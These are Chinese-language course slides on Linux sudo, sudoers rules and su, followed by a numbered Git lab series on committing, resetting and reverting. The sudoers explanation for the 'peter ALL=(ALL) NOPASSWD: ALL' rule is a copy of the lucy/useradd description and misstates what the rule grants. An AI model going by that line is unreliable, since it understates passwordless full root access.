Feb  9 00:55:44 ubuntu NetworkManager[731]: <info>  [1581238544.1234]   wins '19
--More--(10%)
```

超級使用者-sudo

- sudo shutdown -r +15 "quick reboot"
  - 等待十五分鐘之後重新開機

```
kernel@ubuntu: ~
kernel@ubuntu:~$ sudo shutdown -r +15 "quick reboot"
[sudo] password for kernel:
Shutdown scheduled for Sun 2020-02-09 02:17:26 PST, use 'shutdown -c' to cancel.
kernel@ubuntu:~$
```

超級使用者-sudoers

- /etc/sudoers
  - 在此檔案設定的使用者或群組才能使用 sudo 指令。
- sudo visudo
  - 使用 vi 編輯 /etc/sudoers 檔案，且可以偵錯
- sudo more /etc/sudoers

```
# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
kernel@ubuntu:~$
```

超級使用者-sudoers

- /etc/sudoers

```
root   ALL=(ALL:ALL) ALL
%admin ALL=(ALL) ALL
%sudo  ALL=(ALL:ALL) ALL
```

被授權使用者/組 主機=[(切換到哪些用戶:組)] [是否需密碼驗證] 命令1,命令2,...

- 主機，表示允許登入的主機，ALL表示所有主機
- []是可以省略
- 命令，是允許執行的命令，ALL表示可執行任何命令。
- %，群組，沒有%是使用者
- (切換到哪些用戶:組)，省略，表示 (root:root)；(ALL:ALL)表示可切換到所有使用者
- 是否需密碼驗證，NOPASSWD:，表示不須密碼驗證，有冒號

超級使用者-sudoers

- /etc/sudoers

```
jack mycomputer=/usr/sbin/reboot,/usr/sbin/shutdown
```

  - 一般使用者jack在主機mycomputer上, 可透過sudo執行reboot和shutdown兩個命令。
  - ()省略，相當於(root:root)，表示可透過sudo提權到root。

```
lucy ALL=(ALL) NOPASSWD: /bin/useradd
```

  - 表示一般使用者lucy可在任何主機，透過sudo執行/bin/useradd命令，且不需輸入密碼。

```
peter ALL=(ALL) NOPASSWD: ALL
```

  - 表示一般使用者lucy可在任何主機，透過sudo執行/bin/useradd命令，且不需輸入密碼。

超級使用者-sudoers

- /etc/sudoers
  - lucy ALL=(ALL) chown,chmod,useradd
    - 使用者可能創建一個自己的程式，命名為useradd，放在家目錄路徑中，如此能使用root執行"名為useradd的程式"。
    - 這是相當危險。要使用絕對路徑。
    - 命令的絕對路徑可使用which指令查
    - which useradd可查到useradd的絕對路徑: /usr/sbin/useradd
  - papi ALL=(root) NOPASSWD: /bin/chown,/usr/sbin/useradd
    - 使用者papi能在所有主機提權到root下執行/bin/chown，不必輸入密碼；但執行/usr/sbin/useradd 命令需密碼。因NOPASSWD:只影響其後第一個命令。

被授權使用者/組 主機=[(切換到哪些用戶:組)] [是否需密碼驗證] 命令1,
[(切換到哪些用戶:組)] [是否需密碼驗證]命令2,...

超級使用者-sudoers

- /etc/sudoers
  - papi ALL=/usr/sbin/*,/sbin/*,!/usr/sbin/fdisk
    - 通用符號*，命令前加!表示取消該命令。
    - papi在所有主機，能執行目錄/usr/sbin和/sbin下所有程式，但fdisk除外。
  - 推薦做法，不是直接修改/etc/sudoers，而是將修改寫在/etc/sudoers.d/目錄下的檔中。
  - 使用這種方式修改sudoers，需在/etc/sudoers檔的最後行，加上#includedir /etc/sudoers.d一行(預設已有)。
  - 任何在/etc/sudoers.d/目錄下，不以~號結尾和不包含.號的檔案，都會被解析成/etc/sudoers的內容。

超級使用者-sudoers

- /etc/sudoers變更時間
  - sudo後輸入密碼，不會顯示任何東西，包括星號。若要顯示。
    - 開啟/etc/sudoers，找到Defaults env_reset，修改成:
    - Defaults env_reset, pwfeedback
  - 修改sudo會話時間
    - 成功輸入一次密碼後，可不用再輸入密碼執行幾次sudo命令。
    - 但預設15分鐘後，sudo 命令會再次要求輸入密碼。
    - timestamp_timeout=分鐘數，可修改預設值。
    - -1表示永不過期，強烈不推薦。
  - 將時間延長到1小時，Defaults env_reset，改成:
    - Defaults env_reset, pwfeedback, timestamp_timeout=60

超級使用者-sudoers

- /etc/sudoers使用別名
  - 有時 /etc/sudoers 設定較複雜，例如很多使用者及指令組合，可使用別名（alias）管理設定：

```
User_Alias MYACC = accmgr, gtwang, seal
Cmnd_Alias MYEXE = !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, !/usr/bin/passwd root
Runas_Alias PT = #505, austin, jam, !WHEEL_GRP
MYACC   ALL=(PT)  MYEXE
```

    - 使用 User_Alias 建立一個帳號別名 MYACC，內容是等號後方那些帳號名稱，
    - Cmnd_Alias 是建立指令的別名
    - 建立來源主機的別名用 Host_Alias，
    - 所有別名都要大寫英文字母命名
    - Runas_Alias，欲分權的帳號，也可使用#加上uid。
    - 可將冗長設定簡化，且重複使用，日後修改較方便。

超級使用者-sudo

- sudo指令

	選項	功能
指令名稱/功能/命令使用者 sudo/(superuser do)/Any	-b	在背景執行指令
	-E	保留目前使用者的環境變數
	-H	將 HOME 環境變數設為新身份的 HOME 環境變數
	-k	再執行 sudo 時需要輸入自己的密碼
	-l	(小寫的 L)列出被分權的指令
	-p [%u][%h][%H]	改變詢問密碼的提示符號,可接的選項有: 〝%u〞:以使用者為提示符號 〝%h〞:以主機名稱為提示符號 〝%H〞:以主機名稱 + domain 名稱為提示符號
	-u <帳號>	以指定的帳號執行指令(無此選項時預設是 root)
	-v	再延長密碼有效期限 5 分鐘
	-V	顯示版本訊息
	--help	指令自帶說明

超級使用者

- 使用 root 帳號
  - sudo su -

  - who
    - 目前有那些使用者
  - whoami
    - 目前下指令的人是誰
  - cd
    - 切換目錄
  - pwd
    - 顯示目前所在目錄

超級使用者

- who

	選項	功能
指令名稱/功能/命令使用者 who/(**w**ho is logged on)顯示登入資訊 / Any	-a	all
	-b	最後開機時間
	-d	顯示死進程
	-H	顯示各欄位元的標題資訊列
	-r	顯示 runlevel
	-q	顯示登入用戶和人數
	-w 或 -T	顯示使用者的資訊狀態列
	i am	顯示自己的登入資訊

超級使用者

- lastlog

	選項	功能
指令名稱/功能/命令使用者 lastlog/(last login)帳號登錄查詢 / Any	-b DAYS	顯示從目前算起早於 DYAS 之前的登人者
	-t DAYS	顯示從目前算起 DYAS 天內的登人者
	--u USER	只顯示指定的帳號
	--help	指令自帶說明

超級使用者

- id

	選項	功能
指令名稱/功能/命令使用者 id/(print user identity)顯示帳號 ID / Any	-a	顯示帳號所有資訊(此為預設值)
	-Z	顯示帳號和安全有關的資訊
	-g	顯示有效群組 ID
	-G	顯示所有的群組成員 ID
	-n	顯示帳號或群組名稱(需配合"-g"、"-G"或"-u"使用)
	-r	顯示帳號的 UID/GID 號碼(需配合"-g"、"-G"或"-u"使用)
	-u	顯示帳號有效的 UID 號碼
	--help	指令自帶說明

超級使用者

- 變更root密碼
  - 安裝完Linux，第一次使用root帳號，要變更密碼
  - sudo passwd root

```
kernel@ubuntu: ~
kernel@ubuntu:~$ sudo passwd root
[sudo] password for kernel:
New password:
Retype new password:
passwd: password updated successfully
kernel@ubuntu:~$
```

  - sudo要先輸入自己的密碼
  - 輸入兩次root 設定的密碼
  - 操作完，關掉Terminal，或exit

超級使用者

- su
  - 一般 Linux 使用者取得 root 權限，可對系統進行各種變更動作。
  - 帳號 user id 變成 0 (root 的 user id)，但環境變數沒有改變。

```
kernel@ubuntu:~$ su
Password:
root@ubuntu:/home/kernel# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/kernel# env | grep kernel
XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/kernel
GPG_AGENT_INFO=/home/kernel/.gnupg/S.gpg-agent:0:1
PWD=/home/kernel
XAUTHORITY=/home/kernel/.Xauthority
root@ubuntu:/home/kernel#
```

  - su 後要輸入 root 密碼
  - id 顯示目前使用者密碼
  - env顯示環境變數
  - grep 過濾字串
  - 操作完，關掉Terminal，或exit

超級使用者

- su -
  - 要進行較複雜系統管理，牽涉 root 帳號的環境變數(例如 PATH 或 MAIL 等)，用下面方式。
  - 仿照 root 登入，進入一個完整 shell 環境，跟使用 root 重新登入一樣。

```
root@ubuntu: ~
kernel@ubuntu:~$ su -
Password:
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~# env | grep root
USER=root
MAIL=/var/mail/root
PWD=/root
HOME=/root
LOGNAME=root
root@ubuntu:~#
```

  - 操作完，關掉Terminal，或exit

超級使用者

- su - -c "指令"
  - 進入新的 shell 後，僅執行一行簡單指令，執行完後馬上跳出。

```
kernel@ubuntu: ~
kernel@ubuntu:~$ ls -al /root
ls: cannot open directory '/root': Permission denied
kernel@ubuntu:~$ su - -c "ls -al /root"
Password:
total 24
drwx------  3 root root 4096 Feb  9 00:49 .
drwxr-xr-x 24 root root 4096 Feb  8 06:59 ..
-rw-------  1 root root  247 Feb  9 01:35 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Feb 28  2018 .cache
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
kernel@ubuntu:~$
```

  - 一般使用者不能查看 /root 目錄 ls -al /root
  - su - -c "ls –al /root" 改用 root 權限查看，執行完立刻跳出 root
  - 操作完，不須關掉terminal

超級使用者

- su -l 帳號
  - 取得某帳號權限
  - 加入 John帳號，sudo useradd John, sudo passwd John
  - 取得 John帳號權限

```
kernel@ubuntu: ~
kernel@ubuntu:~$ su -l John
Password:
No directory, logging in with HOME=/
$ who
kernel   tty7         2020-02-09 03:53 (:0)
$ whoami
John
```

  - exit退出

Git 分散式版本控制

郭忠義

jykuo@ntut.edu.tw

臺北科技大學資訊工程系

版本控制簡介

- 版本控制機制
  - 多人共同合作時，不會把別人的檔案程式覆蓋掉。
  - 可隨時復原修改的內容，回到之前的版本。
  - 可得知今天寫的程式跟昨天的差異處。
  - 針對所發行軟體，可以分成維護版跟開發版管理。
  - 保留修改歷史記錄，包括修改者和理由，以供查詢。
- 儲存檔案庫(Repository)
  - 存放所有規格文件、設計文件、原始程式碼、測試報告等。
  - 暫存檔、紀錄檔、程式編譯後的檔案等可以不予存入。
  - 資訊放在.git資料夾。

Git簡介

- 可處理超大資料能力
  - 管理Linux 核心程式超過一千萬行。
- 採用分散式版本控制機制
  - 開發者本機端有完整程式，不需網路連線也能獨立作業。
  - 可製作不同開發分支，或合併分支。

主要基準線分支

發展測試分支

特殊功能分支

三種檔案區域

- 工作區(Working Directory)：尚未被追蹤控制的檔案區域。
- 暫存區(Staging Area)：被追蹤控制的檔案區域。
- 儲存區(Repository)：存放版控的檔案。

四種檔案狀態1

- Untracked：沒有納入版本控制範圍內的檔案（紅色）。
- Modified not staged：沒變動。
- Modified to be committed：有變動尚未commit檔案。
- Committed：儲存區中的檔案。

四種檔案狀態2

Untracked Unmodified Modified staged

Lab 1. 建置工作目錄與儲存庫

- 執行Git Shell
- 建一個空目錄 Test，並切換到Test目錄
  - mkdir Test
  - cd Test
- 在目前目錄中建立儲存庫，檔案放置於.git目錄
  - git init

Lab 2. 組態設定

- 設定全域姓名和電子郵件，指令為：
  - git config --global user.email "jykuo@ntut.edu.tw"
  - git config --global user.name "jykuo"
  - git config --all

Lab 3.編輯檔案與檢視目前檔案狀態

- 使用gedit新增一個檔案，命名為 Person.java
- 檢視暫存區、工作區，目前檔案狀態，與儲存庫差異。
- 使用指令：git status 。

- 發現紅色字體 Person.java為untracked 檔案，顯示工作區檔案。

Lab 4.將新增檔案加入暫存區

- 把新增檔案加入暫存區。
- 指令為 git add Person.java 。

- 檢視目前檔案狀態，發現綠色字體Person.java加入暫存區。

- git add .：將所有在工作區的檔案加入暫存區。

Lab 5.將暫存區檔案簽入儲存庫區

- 確認檔案修改無誤，輸入說明訊息後簽入儲存庫。
- 使用指令：git commit Person.java -m 'First' 。
- First為標籤(Tag)說明訊息。

- 若要將暫存區的檔案全部簽入儲存庫，使用指令：
- git commit -a -m 'message'

Lab 6.查看簽入儲存庫區資訊 1

- 先檢視暫存區、工作區，目前檔案狀態，使用指令：git status，

```
posh~git ~ Test [master]
C:\Users\jckuo\Documents\GitHub\Test [master]> git status
# On branch master
nothing to commit, working directory clean
```

- 顯示工作區與儲存庫檔案一致，暫存區沒有檔案。

- 查看簽入歷史資料，使用指令：git log 。
- 發現簽入檔案狀態：包括簽入流水編號、作者、時間、說明，若有簽入過則顯示之前版本資訊。

```
選取 posh~git ~ Test [master]
C:\Users\jckuo\Documents\GitHub\Test [master]> git log
commit 6fb6bfe02128de454f0014fbedd29e1168f1abcb
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First
```

Lab 6.查看簽入儲存庫區資訊 2

- 查看詳細資訊，使用指令git log -p，發現簽入檔案詳細資訊。

posh~git ~ Test [master]

```
C:\Users\jckuo\Documents\GitHub\Test [master]> git log -p
commit 6fb6bfe02128de454f0014fbedd29e1168f1abcb
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First

diff --git a/Person.java b/Person.java
new file mode 100644
index 0000000..9f427ec
--- /dev/null
+++ b/Person.java
@@ -0,0 +1,3 @@
+public class Person {
+
+}
\ No newline at end of file
```

- gitk --all 圖形化介面顯示

Lab 7.修改簽入的說明1

- 修改上次簽入說明，使用指令：git commit --amend

- 顯示記事本，供重新編輯簽入說明

Lab 7.修改簽入的說明2

- 修改上次簽入說明，'First Modified'

- 結束筆記本編輯，儲存檔案變更。

- 顯示簽入歷史，使用指令：git log，觀察到簽入說明已變更

Lab 8. 檔案退回工作區 1

- 依照 Lab 2，編輯一個新檔案 Product.java
- 依照 Lab 4，加入暫存區 git add Product.java
- 依照 Lab 3，查看檔案狀態 git status

Lab 8. 檔案退回工作區 2

- 將新加入暫存區的檔案，退回工作區
  - 使用指令：git reset HEAD Product.java
  - 使用查看檔案狀態 git status，發現檔案變成紅色

選取 posh~git ~ Test [master]

```
C:\Users\jykuo\Test [master +1 ~0 -0]> git reset HEAD Product.java
C:\Users\jykuo\Test [master +1 ~0 -0 !]> git status
On branch master
Untracked files:
  (use "git add <file>..." to include in what will be committed)

        Product.java

nothing added to commit but untracked files present (use "git add" to track)
C:\Users\jykuo\Test [master +1 ~0 -0 !]>
```

Lab 8. 檔案退回工作區 3

- git reset [-- soft | mixed | hard] [<commit tree version>]
  - 重設目前branch的HEAD到<commit tree version>
  - --soft 沒有清除暫存區與工作區，若有修改則保留在暫存與工作區。
    - 保留暫存區和工作區的檔案，可以 commit 出不同的 branch 或 version。
  - --mixed 清除暫存區，沒有清除工作區，工作區的檔案若有改變將被保留。預設的狀態選項。
  - --hard 清除暫存區和工作區。
- git reset HEAD file_name
  - 清除暫存區內的內容/檔案，保留工作區內的檔案。
  - 到上一次 HEAD 的commit 狀態。

Lab 9. 清除暫存區與工作區檔案 1

- 將剛剛退回工作區的檔案，Product.java，加入暫存區。
  - git add Product.java

```
選取 posh~git ~ Test [master]
C:\Users\jykuo\Documents\GitHub\Test [master +1 ~0 -0 !]> git add Product.ja
C:\Users\jykuo\Documents\GitHub\Test [master +1 ~0 -0]> git status
On branch master
Changes to be committed:
  (use "git reset HEAD <file>..." to unstage)

        new file:   Product.java

C:\Users\jykuo\Documents\GitHub\Test [master +1 ~0 -0]>
微軟注音 半 :
```

- git reset --hard HEAD
  - 清除/重設暫存區內的內容/檔案，清除/重設工作區內的檔案。
  - 恢復任何所做的改變，恢復到上一次的commit。

```
選取 posh~git ~ Test [master]
C:\Users\jykuo\Documents\GitHub\Test [master +1 ~0 -0]> git reset --hard HEAD
HEAD is now at df8c95b First Modified
C:\Users\jykuo\Documents\GitHub\Test [master]>
微軟注音 半 :
```

Lab 9. 清除暫存區與工作區檔案2

- git status 暫存區與工作區都被重設

- git log -p 簽入的版本不變，Product.java在檔案總管中消失。

Lab 10. 簽入第二版本

- 用檔案總管，重新new一個Product.java
- 將檔案重新加入暫存區 git add Product.java
- 將檔案簽入儲存庫 git commit Product.java -m 'Second'
- 查看簽入版本歷史資料 git log，發現

posh~git ~ Test [master]

```
C:\Users\jckuo\Documents\GitHub\Test [master]> git log
commit 239e83d88e776e122dfd9ad8ab3dab9e43c6bc7f
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:11:02 2014 +0800

    Second

commit cbecbe02a9fe988e250e9177a3c49cdcac07bf21
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First Modified
```

Lab 11. 簽出上一版本檔案 1

- 已經commit的檔案，加以修改，增加 private int id;

- git status

- 顯示紅色，暫存區為modified修改過檔案。

Lab 11. 簽出上一版本檔案 2

- git checkout -- Product.java

- 開啟Product.java查看

- 恢復檔案為上一本，未修改的檔案狀態。

- 若暫存區有相同檔案，則無法執行此命令。

Lab 11. 簽出上一版本檔案 3

- 切換到任一快照版本(流水編號)
  - git checkout 流水編號
- 從儲存區，取出資料
  - git checkout –f
  - 會影響暫存區檔案，不會影響工作區檔案

Lab 12. 簽入修改檔案 1

- 已經commit的檔案，加以修改，增加 private int id;

- git status

- 顯示紅色modified，表示暫存區有修改過的檔案。

Lab 12. 簽入修改檔案 2

- 使用指令：git commit Product.java -m 'Three‘
  - 直接簽入新的版本

```
posh~git ~ Test [master]
no changes added to commit (use "git add" and/or "git commit -a")
C:\Users\jckuo\Documents\GitHub\Test [master +0 ~1 -0]> git commit Product.java -m 'Three'
[master cd2e882] Three
```

- 也可使用git add, git commit兩個步驟簽入新的版本。

Lab 12. 簽入修改檔案 3

- 使用git status, git log查看暫存區狀態，以及版本歷史資訊。

posh~git ~ Test [master]

```
C:\Users\jckuo\Documents\GitHub\Test [master]> git status
# On branch master
nothing to commit, working directory clean
C:\Users\jckuo\Documents\GitHub\Test [master]> git log
commit cd2e88266f65a2c911dabe1c5df10f03f40fb719
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:41:21 2014 +0800

    Three

commit 239e83d88e776e122dfd9ad8ab3dab9e43c6bc7f
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:11:02 2014 +0800

    Second

commit cbecbe02a9fe988e250e9177a3c49cdcac07bf21
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First Modified
C:\Users\jckuo\Documents\GitHub\Test [master]>
```

Lab 13.移除暫存區檔案 1

- 依照 Lab 3，編輯一個新檔案 ShoppingCart.java
- 依照 Lab 5，加入暫存區 git add ShoppingCart.java
- 依照 Lab 4，查看檔案狀態 git status

Lab 13.移除暫存區檔案 2

- 將檔案從暫存區中移除，不刪除工作區原來檔案。
- 指令：git rm --cached ShoppingCart.java

```
posh~git ~ Test [master]
C:\Users\jckuo\Documents\GitHub\Test [master +1 ~0 -0]> git rm --cached ShoppingCart.java
rm 'ShoppingCart.java'
C:\Users\jckuo\Documents\GitHub\Test [master +1 ~0 -0 !]> git status
# On branch master
# Untracked files:
#   (use "git add <file>..." to include in what will be committed)
#
#       ShoppingCart.java
nothing added to commit but untracked files present (use "git add" to track)
```

- 使用git status查看，暫存區檔案已經移除到工作區。
- 如果檔案從上次commit後有更改，則效果跟以下指令相同。
  - git reset HEAD Product.java

Lab 13.移除暫存區檔案 3

- 再將檔案加入暫存區：git add ShoppingCart.java
- 將檔案從暫存區與工作區中強制刪除。
- 指令為：git rm --f ShoppingCart.java

- 查看檔案總管，裡面已經沒有ShoppingCart.java

樹狀歷史管理 1

- Git用樹狀結構紀錄簽入版本的繼承關係
  - 以串列(Linked List)結構，在每個簽入版本記記錄其前一版本。
  - 允許簽入版本產生分支以及予以合併。
  - 針對每個檔案版本記錄，稱為快照(Snapshot)，而非只記錄之間差異。

樹狀歷史管理 2

- 標頭(HEAD)指標
  - 記錄目前使用的分支(Branch)。
  - 可隨時新增、切換和刪除分支。
  - 分支可透過 Merge 和 Rebase 指令合併。
- 分支(Branch)指標
  - 指向某特定簽入版本的指標。
  - 使用中的分支，在新簽入版本後自動移動。
  - 每個儲存庫都有一個預設分支，稱為**master**。
- 說明(Tag) 指標
  - 指向某特定簽入版本指標，一種標記說明，不會移動。
- 流水編號
  - 指向某一個快照，本地端快照不會刪除。

樹狀歷史管理 3

- 分支處理機制
  - 每個分支都分開處理一個開發線，例如一位特別客戶需求版本。
  - 將測試中和穩定的版本分開為不同的分支。
  - 將需長時間才能完成的獨立項目拆成另一個分支。
- 若還沒推(Push)到遠端儲存庫 ，可直接把整個樹退回前次簽入版本
  - git reset HEAD^
- 若已 Push則需使用以下指令
  - git revert HEAD

Lab 14. 退回前一版本 1

- 前置條件：在master分支，造出三個簽入儲存區版本。
  - 版本A：空的Person.java
  - 版本B：空的Product.java
  - 版本C：Product.java 內含一行 private int id;
  - 版本D：空的ShoppingCart.java

Lab 14. 退回前一版本 2

- 新增檔案：編輯檔案：git add, git commit -m 'message'

posh~git ~ Test [master]

```
C:\Users\jckuo\Documents\GitHub\Test [master]> git log
commit 82800e9639db1b949e949d6b89f250ade9351650
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 22:14:33 2014 +0800

    Four

commit cd2e88266f65a2c911dabe1c5df10f03f40fb719
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:41:21 2014 +0800

    Three

commit 239e83d88e776e122dfd9ad8ab3dab9e43c6bc7f
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:11:02 2014 +0800

    Second

commit cbecbe02a9fe988e250e9177a3c49cdcac07bf21
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First Modified
```

Lab 14. 退回前一版本 3

- 退回前一版本，到版本C。
- 使用指令：git reset HEAD^
  - master指向前一個版本快照

posh~git ~ Test [master]

```
C:\Users\jckuo\Documents\GitHub\Test [master]> git reset HEAD^
C:\Users\jckuo\Documents\GitHub\Test [master +1 ~0 -0 !]> git log
commit cd2e88266f65a2c911dabe1c5df10f03f40fb719
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:41:21 2014 +0800

    Three

commit 239e83d88e776e122dfd9ad8ab3dab9e43c6bc7f
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:11:02 2014 +0800

    Second

commit cbecbe02a9fe988e250e9177a3c49cdcac07bf21
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First Modified
```

- 使用git log指令查看，觀察到剩下三個版本。

Lab 15. 建立退回前一版本的版本 1

- 接續上一Lab，查看目前暫存區與工作區 git status。

```
posh~git ~ Test [master]
C:\Users\jckuo\Documents\GitHub\Test [master +1 ~0 -0 !]> git status
# On branch master
# Untracked files:
#   (use "git add <file>..." to include in what will be committed)
#
#       ShoppingCart.java
nothing added to commit but untracked files present (use "git add" to t
```

- 重新簽入版本D，git add . 以及 git commit -a -m 'Four‘

```
posh~git ~ Test [master]
C:\Users\jckuo\Documents\GitHub\Test [master]> git add .
C:\Users\jckuo\Documents\GitHub\Test [master +1 ~0 -0]> git commit . -m 'Four'
```

Lab 15. 建立退回前一版本的版本 2

- git revert HEAD，出現記事本編輯說明標籤，編輯後關閉。
- git log，製造出第五版，為第四版的前一版(第三版)，SoppingCart.java 消失。

posh~git ~ Test [master]

```
    First Modified
C:\Users\jykuo\Documents\GitHub\Test [master]> git reset HEAD
C:\Users\jykuo\Documents\GitHub\Test [master]> git log
commit c448a5cdbcbbeaad7ce732620282e137c033a8b2
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:23:54 2015 +0800

    Revert "four"

    This reverts commit 60e7d98ed4ff5dfeb2c13c57b65ad58992c7d6be.

commit 60e7d98ed4ff5dfeb2c13c57b65ad58992c7d6be
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:12:23 2015 +0800

    four

commit dadddc30eb027aec48472b0b028a10ebbab4ac14
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:11:00 2015 +0800

    third

commit aacbbd67b36b5a4ab99de5699b4202bcb06d026c
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:08:32 2015 +0800

    Second

commit df8c95b11e83ded5715f28e2b83c22f3f7824ea7
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 08:50:29 2015 +0800

    First Modified
```

Lab 15. 建立退回前一版本的版本 3

- git status，暫存區與工作區是乾淨的。

```
posh~git ~ Test [master]
C:\Users\jykuo\Documents\GitHub\Test [master]> git status
On branch master
nothing to commit, working directory clean
C:\Users\jykuo\Documents\GitHub\Test [master]>
```

- git reset HEAD^，退回到前一版本，且工作區是紅色。

```
posh~git ~ Test [master]
C:\Users\jykuo\Documents\GitHub\Test [master]> git reset HEAD^
Unstaged changes after reset:
D       ShoppingCart.java
C:\Users\jykuo\Documents\GitHub\Test [master +0 ~0 -1]>
```

- git status，工作區顯示刪除ShoppingCart.java，檔案總管沒有ShoppingCart.java。

```
posh~git ~ Test [master]
C:\Users\jykuo\Documents\GitHub\Test [master +0 ~0 -1]> git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory

        deleted:    ShoppingCart.java

no changes added to commit (use "git add" and/or "git commit -a")
C:\Users\jykuo\Documents\GitHub\Test [master +0 ~0 -1]>
```

Lab 15. 建立退回前一版本的版本 4

- git log

```
posh~git ~ Test [master]
C:\Users\jykuo\Documents\GitHub\Test [master +0 ~0 -1]> git log
commit 60e7d98ed4ff5dfeb2c13c57b65ad58992c7d6be
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:12:23 2015 +0800

    four

commit dadddc30eb027aec48472b0b028a10ebbab4ac14
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:11:00 2015 +0800

    third

commit aacbbd67b36b5a4ab99de5699b4202bcb06d026c
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:08:32 2015 +0800

    Second

commit df8c95b11e83ded5715f28e2b83c22f3f7824ea7
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 08:50:29 2015 +0800

    First Modified
C:\Users\jykuo\Documents\GitHub\Test [master +0 ~0 -1]>
```

Lab 15. 建立退回前一版本的版本 5

- 再做一次 git revert HEAD，git log查看有五個版本。

posh~git ~ Test [master]

```
C:\Users\jykuo\Documents\GitHub\Test [master +0 ~0 -1]> git revert HEAD
[master a704e7d] Revert "four"
 1 file changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 ShoppingCart.java
C:\Users\jykuo\Documents\GitHub\Test [master]> git log
commit a704e7dc31ad3b0b5c48e5adec1ffbd31233ffc5
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:51:18 2015 +0800

    Revert "four"

    This reverts commit 60e7d98ed4ff5dfeb2c13c57b65ad58992c7d6be.

commit 60e7d98ed4ff5dfeb2c13c57b65ad58992c7d6be
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:12:23 2015 +0800

    four

commit dadddc30eb027aec48472b0b028a10ebbab4ac14
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:11:00 2015 +0800

    third

commit aacbbd67b36b5a4ab99de5699b4202bcb06d026c
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:08:32 2015 +0800

    Second

commit df8c95b11e83ded5715f28e2b83c22f3f7824ea7
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 08:50:29 2015 +0800

    First Modified
```

Lab 15. 建立退回前一版本的版本 6

- git status，暫存區與工作區是乾淨的。

```
posh~git ~ Test [master]
C:\Users\jykuo\Documents\GitHub\Test [master]> git status
On branch master
nothing to commit, working directory clean
C:\Users\jykuo\Documents\GitHub\Test [master]>
```

- git reset --hard HEAD^，退回到前一版本，且工作區與暫存區是乾淨的。

```
posh~git ~ Test [master]
C:\Users\jykuo\Documents\GitHub\Test [master]> git reset --hard HEAD^
HEAD is now at 60e7d98 four
C:\Users\jykuo\Documents\GitHub\Test [master]> git log
commit 60e7d98ed4ff5dfeb2c13c57b65ad58992c7d6be
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:12:23 2015 +0800

    four

commit dadddc30eb027aec48472b0b028a10ebbab4ac14
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:11:00 2015 +0800

    third

commit aacbbd67b36b5a4ab99de5699b4202bcb06d026c
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 10:08:32 2015 +0800

    Second

commit df8c95b11e83ded5715f28e2b83c22f3f7824ea7
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Tue Nov 17 08:50:29 2015 +0800

    First Modified
```

Lab 16. 退回前兩版本 1

- 使用git log指令查看，觀察到四個版本。

posh~git ~ Test [master]

```
C:\Users\jckuo\Documents\GitHub\Test [master]> git log
commit ef11b1060f08b93a52768c5e4a191f33ff178291
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 22:31:38 2014 +0800

    Four

commit cd2e88266f65a2c911dabe1c5df10f03f40fb719
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:41:21 2014 +0800

    Three

commit 239e83d88e776e122dfd9ad8ab3dab9e43c6bc7f
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:11:02 2014 +0800

    Second

commit cbecbe02a9fe988e250e9177a3c49cdcac07bf21
Author: jykuo <jykuo@ntut.edu.tw>
Date:   Sun Jul 27 16:04:24 2014 +0800

    First Modified
```

Lab 16. 退回前兩版本 2

- 使用git reset HEAD~2，退回前兩版本。
- 使用git log，查看簽入版本歷史資訊，觀察到剩版本A, B。
